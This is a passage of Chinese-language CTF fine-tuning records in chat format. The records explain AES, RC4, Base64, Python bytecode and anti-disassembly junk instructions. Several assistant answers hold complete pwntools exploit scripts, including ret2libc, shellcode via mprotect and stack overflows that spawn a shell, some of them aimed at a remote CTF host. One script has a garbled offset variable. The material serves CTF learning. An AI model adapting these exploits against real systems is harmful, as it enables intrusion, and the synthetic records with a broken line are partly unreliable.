gift.elf\n\nsh=0x080482ea\nr()\nsl(\"administrator\")\nr()\nsl(\"1\")\npayload=b'a'*(0x48+4)+p32(elf.sym.system)+p32(elf.sym.main)+p32(sh)\nsl(payload)\nru(\"0.Exit\\n:\")\nsl(\"4\")\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::636b4a399450dd3f", "original_line": 111, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ciscn2019ne5", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "636b4a399450dd3f", "source_split": "validation", "split": "train", "split_group_key": "4528b80c6e97d5ad53d53749", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cf257bf4e9af31e47638", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 实现\n关键词：jmp、- **gcc 编译器实现**、byte、include、asm、printf、hello、world、msvc、emit\n蒸馏要点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n可用于训练的标准回答：\n#### 实现\n\n- **msvc 编译器实现**\n\n```c\n#include\nint main() {\n\t__asm {\n\t\tjmp s1;\n\t\t_emit 0xe9;\n\ts1:\n\t\tjmp s2;\n\ts2:\n\t\tjmp s3;\n\ts3:\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```\n\n- **gcc 编译器实现**\n\n```c\n#include\n\nint main(){\n    __asm__ __volatile__(\n    \"jmp s1\\n\\t\"\n    \".byte 0xe9\\n\\t\"\n    \"s1:\\n\\t\"\n    \"jmp s2\\n\\t\"\n    \".byte 0x68\\n\\t\"\n    \"s2:\\n\\t\"\n    \"jmp s3\\n\\t\"\n    \".byte 0x20\\n\\t\"\n    \"s3:\\n\\t\"\n    );\n\tprintf(\"hello world\\n\");\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::19d7c3dd95510424", "original_line": 1060, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "19d7c3dd95510424", "source_split": "train", "split": "train", "split_group_key": "2e0df8c3e29c0a4a86a88b58", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cf72a1354ea8b093b529", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[HGAME 2023 week1]easyoverflow”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [HGAME 2023 week1]easyoverflow\n关键词：HGAME、gift、elf、payload、week1、easyoverflow、close、exp、usr、bin\n蒸馏要点：\n- close(1)关闭掉了标准输出，所以要进行输出重定向。\n可用于训练的标准回答：\n### [HGAME 2023 week1]easyoverflow\n\n#关闭标准输出\n\nclose(1)关闭掉了标准输出，所以要进行输出重定向。\n\n- exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\ncli_script()\n\nio= gift[\"io\"]\nelf= gift[\"elf\"]\npayload=b'a'*24+p64(0x40117e)\ns(payload)\nsl(\"exec 1>&0\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::369c98309ff09f29", "original_line": 739, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[HGAME 2023 week1]easyoverflow", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "369c98309ff09f29", "source_split": "train", "split": "train", "split_group_key": "47637262e801f7707c792f54", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cf72b7317e4f3049c1bf", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“算法逻辑”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. 行移位（ShiftRows）：简单的左循环移位操作。当密钥长度为 128 比特时，状态矩阵的第 0 行左移 0 字节，第 1 行左移 1 字节，第 2 行左移 2 字节，第 3 行左移 3 字节。\n2. 行移位的逆变换是将状态矩阵中的每一行执行相反的移位操作，例如 AES-128 中，状态矩阵的第 0 行右移 0 字节，第 1 行右移 1 字节，第2行右移 2 字节，第 3 行右移 3 字节。\n3. 列混合（MixColumns）：列混合变换是通过矩阵相乘来实现的，经行移位后的状态矩阵与固定的矩阵相乘，得到混淆后的状态矩阵，如下图所示：\n4. 状态矩阵中的第j列(0 ≤j≤3)的列混合可以表示为下图所示：\n5. 轮密钥加（AddRoundKey）：当前分组和扩展密钥的一部分进行按位异或XOR。\n6. ECB 模式就是使用相同的密钥对密文进行加密，一次只解密一组明文。解密时页也使用相同的密钥对密文组进行解密，一次解密一组密文。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::c61be5bb37e99ec0", "original_line": 73, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "算法逻辑", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "c61be5bb37e99ec0", "source_split": "validation", "split": "train", "split_group_key": "834e1e09f272c480c2dffa37", "tags": ["crypto"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cf73f468c5cd1f886ade", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《RC4 算法》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：RC4 算法\n领域标签：reverse, crypto, ctf-method\n知识结构：简介 -> 加解密原理 -> 加密流程 -> 标准RC4 -> 动态调试解RC4 -> 魔改RC4 -> 参考\n关键术语：RC4、key、enc、rc4、unsigned、sub_14A6、aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa、exp、ARC4、1~255、enc_data=RC4(flag)、flag=RC4(enc_data)、输入完成后，我们让程序运行到执行完加密逻辑后的代码部分。\n\n然后我们提取加密后的密文，即、。\n\n这里我们可以通过插件 Lazyida 快速提取。\n\n然后我们再次动态调试程序将 33 个、v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;、*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;\n核心要点：\n- 在密码学中，RC4 是一种流加密算法，密钥长度可变。它加解密使用相同的密钥，因此也属于对称加密算法。RC4 是有线等效加密（WEP）中采用的加密算法，也曾经是 TLS 可采用的算法之一。\n- 流密码也属于对称密码，但与分组加密算法不同的是，流密码不对明文数据进行分组，而是用密钥生成与明文一样长短的密码流对明文进行加密，加解密使用相同的密钥。也就是说，RC4不是对明文进行分组处理，而是字节流的方式依次加密明文中的每一个字节。\n- RC4 由伪随机数生成器和异或运算组成（由于异或运算的对合性，RC4 加密解密使用同一套算法）。RC4 的密钥长度可变，范围是`1~255`。给定一个密钥，伪随机数生成器接受密钥并产生一个 S 盒。S 盒用来加密数据，而且在加密过程中 S 盒会变化。\n- 先初始化状态向量`S`（256 个字节，用来作为密钥生成的种子）按照升序，给每个字节赋值。\n- 初始密钥（由用户输入），长度任意，如果输入长度小于 256 个字节，则进行轮转，直到填满。例如填入密钥的是1 2 3 4 5 ，那么填入的是1，2，3，4，5，1，3，4，5，1，2，3，4，5 由上述轮转过程得到 256 个字节的向量`T`（用来作为密钥流生成的种子）\n- 最后是根据向量`S`和`T`生成`T`生成密钥流与明文进行加密\n- from Crypto.Cipher import ARC4\n- key = b\"RC4_1s_4w3s0m3\"\n- enc = bytes.fromhex(\"A7 1A 68 EC D8 27 11 CC 8C 9B 16 15 5C D2 67 3E 82 AD CE 75 D4 BC 57 56 C2 8A 52 B8 6B D6 CC F8 A4 BA 72 2F E0 57 15 B9 24 11\")\n- rc4 = ARC4.new(key)", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::79adfd5dccbed109", "original_line": 917, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "79adfd5dccbed109", "source_split": "train", "split": "train", "split_group_key": "b361d9abb1786d9e2a656076", "tags": ["reverse", "crypto", "ctf-method"], "title": "RC4 算法", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cff718c286616163db86", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[BJDCTF 2020\\]babystack2.0”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[BJDCTF 2020\\]babystack2.0\n关键词：BJDCTF、payload、name、babystack2、exp、pwn、import、remote、node4、anna\n蒸馏要点：\n- 不要过于相信反汇编的类型，要进入汇编看一下\n- 有符号数转无符号数\n可用于训练的标准回答：\n### \\[BJDCTF 2020\\]babystack2.0\n\n#思路 #整数溢出\n\n不要过于相信反汇编的类型，要进入汇编看一下\n有符号数转无符号数\n\n- **exp**\n\n```python\n from pwn import *\n sh=remote(\"node4.anna.nssctf.cn\",28063)\n payload=b'a'*(16+8)+p64(0x400726)\n sh.recvuntil(\"name:\")\n sh.sendline(b'-1')\n sh.sendlineafter(\"name?\",payload)\n sh.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::92af53badc18faad", "original_line": 833, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[BJDCTF 2020\\]babystack2.0", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "92af53badc18faad", "source_split": "train", "split": "train", "split_group_key": "12e8e5fdab5063b5e8d501d7", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d0081dce19d279802319", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“字典”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“字典”。\n关联知识点：\n- `BUILD_MAP`：用于创建一个空的`dict`。\n- `STORE_MAP`：用于初始化`dict`的内容。\n- 分别对应`k = ['a':1]`和`k['a'] = 2`。\n代码片段：\n```\n1        0 LOAD_CONST   0 ('a')\n\t\t 2 LOAD_CONST   1 (1)\n\t\t 4 BUILD_MAP    1\n\t\t 6 STORE_NAME   0 (k)\n\n2\n\t\t 8 LOAD_CONST   2 (2)\n\t\t 10 LOAD_NAME   0 (k)\n\t\t 12 LOAD_CONST  0 ('a')\n\t\t 14 STORE_SUBSCR\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4a2054e7f9eb6c13", "original_line": 629, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "字典", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4a2054e7f9eb6c13", "source_split": "train", "split": "train", "split_group_key": "c53f1a2e508ff4ad9caeea9f", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d024fa6b15ab77981a01", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[OGeek2019]babyrop”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[OGeek2019]babyrop”。\n语言/类型：python\n关联知识点：\n- 32位ret2libc，LibcSearcher无法搜索到libc\n- 不过题目提供了libc\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc-2.23.so\")\n\npayload=b'\\x00'+b'\\x99\\xff\\xff'+b'\\xff\\xff\\xff'+b'\\xff\\xff\\xff'\ns(payload)\n\npayload=b'a'*(231+4)+p32(elf.plt.write)+p32(0x80487d0)+p32(0x1)+p32(elf.got.write)+p32(0xff)\nr()\ns(payload)\npause()\naddr=u32(r(4))\nprint(hex(addr))\n#libc=LibcSearcher(\"write\",addr)\n#base=addr-libc.dump(\"write\")\n#sys=base+libc.dump(\"system\")\n#sh=base+libc.dump(\"str_bin_sh\")\nbase=addr-libc.sym.write\nsys=base+libc.sym.system\nsh=base+next(libc.search(\"/bin/sh\\x00\"))\n\npayload=b'a'*(231+4)+p32(sys)+p32(0)+p32(sh)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::be360b0333313f9b", "original_line": 787, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[OGeek2019]babyrop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "be360b0333313f9b", "source_split": "train", "split": "train", "split_group_key": "b65097eee5e62597bf6effe9", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d06dc393ac6ea8288988", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“魔改”？请用《Base64》中的内容回答。", "role": "user"}, {"content": "1. BUUCTF 特殊的 BASE64\n2. 换表就是将映射的编码表修改掉，但是加密过程是仍然不变的。\n3. 前面讲过base64编码最关键的点在于根据值取编码表中的下标对应的字符。\n4. 魔改编码表同样如此，所以我们可以获取密文在魔改编码表中的下标。然后获取下标在原编码表中的值之后。\n5. 再进行常规解密。\n6. 拿到程序后一般流程查壳，发现无壳", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::579cbbee5e5681e3", "original_line": 990, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "魔改", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "579cbbee5e5681e3", "source_split": "train", "split": "train", "split_group_key": "59ad9fcf0a98031c9b30059c", "tags": ["reverse", "crypto", "ctf-method"], "title": "Base64", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d09b710affdad595680d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“条件判断”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“条件判断”。\n关联知识点：\n- 以下指令一般用于分支判断跳转：\n- `POP_JUMP_IF_FALSE`：表示条件结果为`FALSE`就跳转到目标偏移指令\n- `JUMP_FORWARD`：直接跳转到目标偏移指令\n- 对应 python 代码：\n代码片段：\n```\n1：\n0 LOAD_CONST   0 (0)\n2 STORE_NAME   0 (i)\n\n2：\n4 LOAD_NAME    0 (i)\n6 LOAD_CONST   1 (5)\n8 COMPARE_OP   0 ()\n28 POP_JUMP_IF_FALSE  40\n\n5：\n30 LOAD_NAME      1 (print)\n32 LOAD_CONST     3 ('i > 5')\n34 CALL_FUNCTION  1\n36 POP_TOP\n38 JUMP_FORWARD   8 (to 48)\n\n7：\n40 LOAD_NAME      1 (print)\n42 LOAD_CONST     4 ('i = 5')\n44 CALL_FUNCTION  1\n46 POP_TOP\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2ffdec7852f88ba5", "original_line": 813, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "条件判断", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2ffdec7852f88ba5", "source_split": "train", "split": "train", "split_group_key": "89a0b90c7c9a7807ebb6e109", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d0ca7bdb491ea7ac7336", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“常规”？请用《Base64》中的内容回答。", "role": "user"}, {"content": "1. BUUCTF-reverse3\n2. 拿到程序查壳，发现无壳\n3. 之后运行一下，随意输入一串字符。\n4. 判定代码逻辑为字符串比较。\n5. ida 打开分析一下，发现主函数中只调用了一个`main_0`函数\n6. 先将函数和变量改一下名，提高代码可读性。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3ee448aa6af022b4", "original_line": 1064, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "常规", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3ee448aa6af022b4", "source_split": "train", "split": "train", "split_group_key": "07d77ff7a75f300934cb379f", "tags": ["reverse", "crypto", "ctf-method"], "title": "Base64", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d14cc38593d5568a05c6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[SWPUCTF 2023 秋季新生赛]神奇的strlen”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [SWPUCTF 2023 秋季新生赛]神奇的strlen\n关键词：libc、p64、puts、ELF、x00、base、elf、SWPUCTF、strlen、sendline\n蒸馏要点：\n- 注意：本地和远程存在区别，远程发送数据会有延迟，本地发送数据没有延迟\n- 所以最好本地打的时候中间停顿一下\n可用于训练的标准回答：\n### [SWPUCTF 2023 秋季新生赛]神奇的strlen\n\n#ret2libc #栈对齐 #泄露libc #字符串截断\n>注意：本地和远程存在区别，远程发送数据会有延迟，本地发送数据没有延迟\n>所以最好本地打的时候中间停顿一下\n\nexp\n```python\nfrom pwn import *\n\nio = remote('node4.anna.nssctf.cn',28070)\n#io=process(\"./strlen\")\nelf = ELF('./strlen')\nlibc = ELF('./libc.so.6')\nio.sendline(b'200')\noffset = 0x48\nrdi = 0x401373\nio.send(b'\\x00'*stribikslove+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x4011F6))\n\nputs = u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nbase = puts - libc.sym.puts\nsys = base + libc.sym.system\nbsh = base +  next(libc.search(b'/bin/sh\\x00'))\none = [0xe3afe, 0xe3b01, 0xe3b04]\nio.sendline(b'200')\n\nio.send(b'\\x00'*offset+p64(base+one[1]))\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::f96c63620b04f472", "original_line": 109, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SWPUCTF 2023 秋季新生赛]神奇的strlen", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "f96c63620b04f472", "source_split": "validation", "split": "train", "split_group_key": "3101000abfc1724dd5668b06", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d1aba1b2fe71723f2d58", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“getstarted3dsctf2016”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / getstarted3dsctf2016\n关键词：p32、payload、mem_addr、pwnfile、elf、read、pop、pop_addr、pay、x68\n可用于训练的标准回答：\n### getstarted3dsctf2016\n\n#ret2shellcode #调用mprotect修改内存权限\n\n- exp\n\n```python\nfrom pwn import *\n\npwnfile=\"./get_started_3dsctf_2016\"\nio=process(pwnfile)\nelf=ELF(pwnfile)\ncontext(log_level=\"debug\",arch=\"i386\")\n\nmprotect_addr=elf.symbols[\"mprotect\"]\nread=elf.symbols[\"read\"]\nmem_addr=0x080Ea000\nmem_size=0x1000\nmem_proc=0x7\n\n#pop ebp; pop esi; pop edi; ret\npop_addr=0x0809e4c5\n\npayload=b\"a\"*0x38+p32(mprotect_addr)\npayload+=p32(pop_addr)\npayload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)\n\npayload+=p32(read)\npayload+=p32(pop_addr)\npayload+=p32(0)+p32(mem_addr)+p32(0x100)\npayload+=p32(mem_addr)\n\nio.sendline(payload)\n\n#pwntools生成shellcode\npay=asm(shellcraft.sh())\n#也可以手写编码\n#pay=\"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80\"\nio.sendline(pay)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::724a156afff98115", "original_line": 1065, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "getstarted3dsctf2016", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "724a156afff98115", "source_split": "train", "split": "train", "split_group_key": "38f9a88441ad9e47344fa5c1", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d1d6b988cfa82df66181", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“SSP Leak”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. sla(b'Name: ', b'a'*0x10)\n2. ru(b'a'*0x10)\n3. base = u64(r(6).ljust(8, b'\\x00')) - 0xcf0\n4. print(\"base\",hex(base))\n5. sla(b'Input: ',b'backdoor\\x00')\n6. flag_addr = base + 0x202040", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 5, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0296e624f85c5b0f", "original_line": 969, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0296e624f85c5b0f", "source_split": "train", "split": "train", "split_group_key": "24ee4abf05dec7141318f288", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
